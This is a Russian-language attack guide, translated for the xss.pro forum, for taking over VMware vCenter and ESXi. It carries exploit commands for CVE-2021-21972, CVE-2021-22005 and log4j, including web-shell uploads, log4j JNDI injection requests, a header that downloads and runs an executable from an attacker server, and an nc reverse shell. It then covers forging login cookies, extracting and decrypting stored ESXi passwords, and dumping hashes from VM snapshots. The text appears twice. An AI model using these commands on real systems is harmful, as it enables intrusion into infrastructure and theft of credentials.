Оригинал: https://forum{.}butian{.}net/share/1893
Переведенно специально для xss.pro
0x01
title="+ ID_VC_Welcome +"
0x02 Версия Vcenter
0x03 CVE-2021-21972
Уязвимы:
vCenter Server7.0 < 7.0.U1c
vCenter Server6.7 < 6.7.U3l
vCenter Server6.5 < 6.5.U3n
Если вы перейдете по указанному выше пути и увидите 404, значит, уязвимости нет, если 405, возможно, есть уязвимость
Машины Windows:
Эксплойт уязвимости: https://github.com/horizon3ai/CVE-2021-21972
-t (адрес назначения)
-f (загруженный файл)
-p (путь к веб-оболочке после загрузки, по умолчанию его менять не нужно)
Путь после загрузки будет следующим
Полный путь
Машины Linux:
1. запись открытых и закрытых ключей (нужно, чтобы порт 22 был открыт)
2. обход оболочки записи (занимает больше времени)
github.com
0x04 CVE-2021-22005
Уязвимы:
vCenter Server 7.0 < 7.0 U2c build-18356314
vCenter Server 6.7 < 6.7 U3o build-18485166
Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3)
Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2)
6.7 vCenters версии Windows не затронуты.
Эксплойты уязвимостей
github.com
github.com
Подключение к веб-оболочке
Полный путь к загруженной веб-оболочке следующий
0x05 CVE-2021-44228
Эксплуатация уязвимости log4j, уязвимость срабатывает из-за заголовка XFF
DNSlog определяет, уязвима ли система
Используйте JNDIExploit, -u для просмотра исполняемых команд
Эксплойт:
В Linux используется команда оболочки bounce
0x06 Получение доступа к консоли vcenter-web
Сброс пароля
Более быстрый метод, но оригинальный пароль будет недоступен после изменения, и администратор обнаружит, что пароль был изменен.
Выберите опцию 3 и введите стандартный administrator@vsphere.local (требуются привилегии администратора).
вход через куки
Получите cookie, расшифровав логин базы данных, затем войдите в веб с помощью cookie.
Сценарий расшифровки: https://github.com/horizon3ai/vcenter_saml_login
Затем будет сгенерирован соответствующий файл cookie, просто посетите путь ui и замените файл cookie
Замените cookie и спокойно входите в систему
Для запуска скрипта на windows необходимо установить соответствующую версию python-ldap
Во время тестирования я обнаружил, что файл windows data.mdb слишком большой и не очень удобен для извлечения, подходит для Linux машин
На этом этапе, если на целевой машине есть среда python, вы можете использовать скрипт мастера 3gstudent для его эксплуатации
github.com
Скрипт сгенерирует три файла сертификатов и поместит их в соответствующие места
github.com
Получение пароля без сброса (ESXI)
Просмотр домена
Ошибка: путь не распознается из-за пробела посередине
Решение: Используйте двойные кавычки для разделения путей, содержащих пробелы
1. Получите ключ
2、Получите пароль учетной записи базы данных
Файл базы данных vcenter по умолчанию хранится в vcdb.properties, в конфигурационном файле пароль учетной записи базы данных находится в открытом виде
По умолчанию используется база данных postgresql, в которую можно войти только локально на сервере vCenter, и выполняется оператор для запроса пароля ESXI.
Расположение по умолчанию для #psql
# Выполните запрос
# В результате выполнения будет выведено зашифрованное поле
ip_address | user_name | password
-------------+-----------+---------------------------------------------------------------------------------------
192.168.1.1 | vpxuser | *H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==
192.168.1.2 | vpxuser | *zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==
192.168.1.3 | vpxuser | *Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==
192.168.1.4 | vpxuser | *R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA==
(4 rows)
# Сохраняется только поле пароля
*H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==
*zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==
*Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==
*R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA==
На практике мы также сталкиваемся с ситуациями, когда используется базы данных MSSQL, в этом случае мы подключаемся напрямую с помощью navicat и ищем таблицу VPX_HOST
3. Используем скрипт для расшифровки
github.com
Поле пароля помещается в файл password.enc
symkey.dat - ключ расшифровки, полученный на первом этапе
После выполнения скрипта будет выведен файл password.txt, содержащий пароль машины ESXI, соответствующей ip_адресу.
4. Войдите в ESXI
Добавьте /ui к адресу машины ESXI, чтобы получить доступ к веб-консоли с паролем из файла vpxuser/password.txt
Расшифрованный пароль может быть использован для входа в веб-консоль, а также для ssh на машину, но SSH должен быть включен
0x07 Получение привилегий виртуальной машины
После входа в веб-консоль вы хотите получить права определенной виртуальной машины, например, целевой системы
Выберите целевую виртуальную машину и выполните операцию создания снапшота
Перейдите в место хранения данных и найдите соответствующий файл снапшота
Вы также можете войти на сервер ESXI через ssh и найти соответствующие файлы vmem и vmsn
www.volatilityfoundation.org
Используйте volatility для просмотра профиля
Прочитать реестр
Получите хэш и расшифруйте пароль
Переведенно специально для xss.pro
0x01
title="+ ID_VC_Welcome +"
0x02 Версия Vcenter
/sdk/vimServiceVersions.xml
0x03 CVE-2021-21972
Уязвимы:
vCenter Server7.0 < 7.0.U1c
vCenter Server6.7 < 6.7.U3l
vCenter Server6.5 < 6.5.U3n
/ui/vropspluginui/rest/services/uploadovaЕсли вы перейдете по указанному выше пути и увидите 404, значит, уязвимости нет, если 405, возможно, есть уязвимость
Машины Windows:
Эксплойт уязвимости: https://github.com/horizon3ai/CVE-2021-21972
python CVE-2021-21972.py -t x.x.x.x -p ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\gsl.jsp -o win -f gsl.jsp-t (адрес назначения)
-f (загруженный файл)
-p (путь к веб-оболочке после загрузки, по умолчанию его менять не нужно)
Путь после загрузки будет следующим
https://x.x.x.x/statsreport/gsl.jspПолный путь
C:/ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport
Машины Linux:
1. запись открытых и закрытых ключей (нужно, чтобы порт 22 был открыт)
python3 CVE-2021-21972.py -t x.x.x.x -p /home/vsphere-ui/.ssh/authorized_keys -o unix -f id_rsa_2048.pub2. обход оболочки записи (занимает больше времени)
GitHub - NS-Sp4ce/CVE-2021-21972: CVE-2021-21972 Exploit
CVE-2021-21972 Exploit. Contribute to NS-Sp4ce/CVE-2021-21972 development by creating an account on GitHub.
0x04 CVE-2021-22005
Уязвимы:
vCenter Server 7.0 < 7.0 U2c build-18356314
vCenter Server 6.7 < 6.7 U3o build-18485166
Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3)
Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2)
6.7 vCenters версии Windows не затронуты.
Эксплойты уязвимостей
GitHub - r0ckysec/CVE-2021-22005: CVE-2021-22005 - VMWare vCenter Server File Upload to RCE
CVE-2021-22005 - VMWare vCenter Server File Upload to RCE - GitHub - r0ckysec/CVE-2021-22005: CVE-2021-22005 - VMWare vCenter Server File Upload to RCE
cve-2021-22005_exp_win.exe -u https://x.x.x.x --shell
CVE-2021-22005/CVE-2021-22005.py at main · rwincey/CVE-2021-22005
Contribute to rwincey/CVE-2021-22005 development by creating an account on GitHub.
python cve-2021-22005.py -t https://x.x.x.x
Подключение к веб-оболочке
https://x.x.x.x/idm/... ;/test.jsp
Полный путь к загруженной веб-оболочке следующий
/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/xx.jsp0x05 CVE-2021-44228
Эксплуатация уязвимости log4j, уязвимость срабатывает из-за заголовка XFF
Код:
GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: 192.168.121.137
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Dnt: 1
X-Forwarded-For: ${jndi:ldap://9qphlt.dnslog.cn}
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
DNSlog определяет, уязвима ли система
X-Forwarded-For: ${jndi:ldap://9qphlt.dnslog.cn}
Используйте JNDIExploit, -u для просмотра исполняемых команд
Эксплойт:
Код:
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i VPSIP
X-Forwarded-For: ${jndi:ldap://VPSIP:1389/TomcatBypass/TomcatEcho}
cmd.
Код:
GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: 192.168.121.142
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Dnt: 1
cmd: certutil -urlcache -split -f http://VPS C:\Users\Public\1.exe && C:\Users\Public\1.exe
X-Forwarded-For: ${jndi:ldap://VPS:1389/TomcatBypass/TomcatEcho}
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
В Linux используется команда оболочки bounce
Код:
nc -e /bin/sh 10.10.10.10 8888
nc -lvp 8888
#Если интерактивная оболочка не отображается, используйте следующую команду для переключения на интерактивную
python3 -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
0x06 Получение доступа к консоли vcenter-web
Сброс пароля
Более быстрый метод, но оригинальный пароль будет недоступен после изменения, и администратор обнаружит, что пароль был изменен.
Выберите опцию 3 и введите стандартный administrator@vsphere.local (требуются привилегии администратора).
Код:
#Linux
/usr/lib/vmware-vmdir/bin/vdcadmintool
#Windows
C:\Program Files\Vmware\vCenter Server\vmdird\vdcadmintool.exe
вход через куки
Получите cookie, расшифровав логин базы данных, затем войдите в веб с помощью cookie.
Сценарий расшифровки: https://github.com/horizon3ai/vcenter_saml_login
python vcenter_saml_login.py -p data.mdb -t 10.9.16.11Затем будет сгенерирован соответствующий файл cookie, просто посетите путь ui и замените файл cookie
Код:
#Linux
/storage/db/vmware-vmdir/data.mdb
#windows
C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb
Замените cookie и спокойно входите в систему
Для запуска скрипта на windows необходимо установить соответствующую версию python-ldap
Код:
pip install python_ldap-3.4.0-cp38-cp38-win_amd64.whl
pip install -r requirements.txt
Во время тестирования я обнаружил, что файл windows data.mdb слишком большой и не очень удобен для извлечения, подходит для Linux машин
На этом этапе, если на целевой машине есть среда python, вы можете использовать скрипт мастера 3gstudent для его эксплуатации
Homework-of-Python/vCenter_ExtraCertFromMdb.py at master · 3gstudent/Homework-of-Python
Python codes of my blog. Contribute to 3gstudent/Homework-of-Python development by creating an account on GitHub.
python vCenter_ExtraCertFromMdb.py data.mdb
Скрипт сгенерирует три файла сертификатов и поместит их в соответствующие места
Homework-of-Python/vCenter_GenerateLoginCookie.py at master · 3gstudent/Homework-of-Python
Python codes of my blog. Contribute to 3gstudent/Homework-of-Python development by creating an account on GitHub.
python vCenter_GenerateLoginCookie.py 192.168.121.135 192.168.121.135 vsphere.local idp_cert.txt trusted_cert_1.txt trusted_cert_2.txt
Получение пароля без сброса (ESXI)
Просмотр домена
Код:
#Linux
/usr/lib/vmware-vmafd/bin/vmafd-cli get-domain-name --server-name localhost
#windows
C:\Program Files\VMware\vCenter Server\vmafdd\vmafd-cli get-domain-name --server-name localhost
C:\PROGRA~1\VMware\"vCenter Server"\vmafdd\vmafd-cli get-domain-name --server-name localhost
Ошибка: путь не распознается из-за пробела посередине
Решение: Используйте двойные кавычки для разделения путей, содержащих пробелы
1. Получите ключ
Код:
#Windows
type C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat
#Linux
cat /etc/vmware-vpx/ssl/symkey.dat
2、Получите пароль учетной записи базы данных
Файл базы данных vcenter по умолчанию хранится в vcdb.properties, в конфигурационном файле пароль учетной записи базы данных находится в открытом виде
Код:
#Linux
cat /etc/vmware-vpx/vcdb.properties
cat /etc/vmware/service-states/vpxd/vcdb.properties
#Windows
тип C:\ProgramData\VMware\"VMware VirtualCenter"\vcdb.properties
тип C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties
По умолчанию используется база данных postgresql, в которую можно войти только локально на сервере vCenter, и выполняется оператор для запроса пароля ESXI.
Расположение по умолчанию для #psql
Код:
Windows: C:\Program Files\VMware\vCenter Server\vPostgres\bin\psql.exe
Linux: /opt/vmware/vpostgres/9.3/bin/psql
# Выполните запрос
psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc# В результате выполнения будет выведено зашифрованное поле
Command> shell psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.encip_address | user_name | password
-------------+-----------+---------------------------------------------------------------------------------------
192.168.1.1 | vpxuser | *H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==
192.168.1.2 | vpxuser | *zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==
192.168.1.3 | vpxuser | *Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==
192.168.1.4 | vpxuser | *R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA==
(4 rows)
# Сохраняется только поле пароля
*H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==
*zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==
*Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==
*R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA==
На практике мы также сталкиваемся с ситуациями, когда используется базы данных MSSQL, в этом случае мы подключаемся напрямую с помощью navicat и ищем таблицу VPX_HOST
3. Используем скрипт для расшифровки
GitHub - shmilylty/vhost_password_decrypt: vhost password decrypt
vhost password decrypt. Contribute to shmilylty/vhost_password_decrypt development by creating an account on GitHub.
Поле пароля помещается в файл password.enc
symkey.dat - ключ расшифровки, полученный на первом этапе
python decrypt.py symkey.dat password.enc password.txtПосле выполнения скрипта будет выведен файл password.txt, содержащий пароль машины ESXI, соответствующей ip_адресу.
4. Войдите в ESXI
Добавьте /ui к адресу машины ESXI, чтобы получить доступ к веб-консоли с паролем из файла vpxuser/password.txt
Расшифрованный пароль может быть использован для входа в веб-консоль, а также для ssh на машину, но SSH должен быть включен
0x07 Получение привилегий виртуальной машины
После входа в веб-консоль вы хотите получить права определенной виртуальной машины, например, целевой системы
Выберите целевую виртуальную машину и выполните операцию создания снапшота
Перейдите в место хранения данных и найдите соответствующий файл снапшота
Вы также можете войти на сервер ESXI через ssh и найти соответствующие файлы vmem и vmsn
find / -name "*.vmem"
The Volatility Foundation - Promoting Accessible Memory Analysis Tools Within the Memory Forensics Community
Home of the Volatility Memory Forensics Open Source Platform
www.volatilityfoundation.org
Используйте volatility для просмотра профиля
volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem imageinfo
Прочитать реестр
volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem --profile=Win7SP1x64 hivelist
Получите хэш и расшифруйте пароль
volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a00084c010
Последнее редактирование: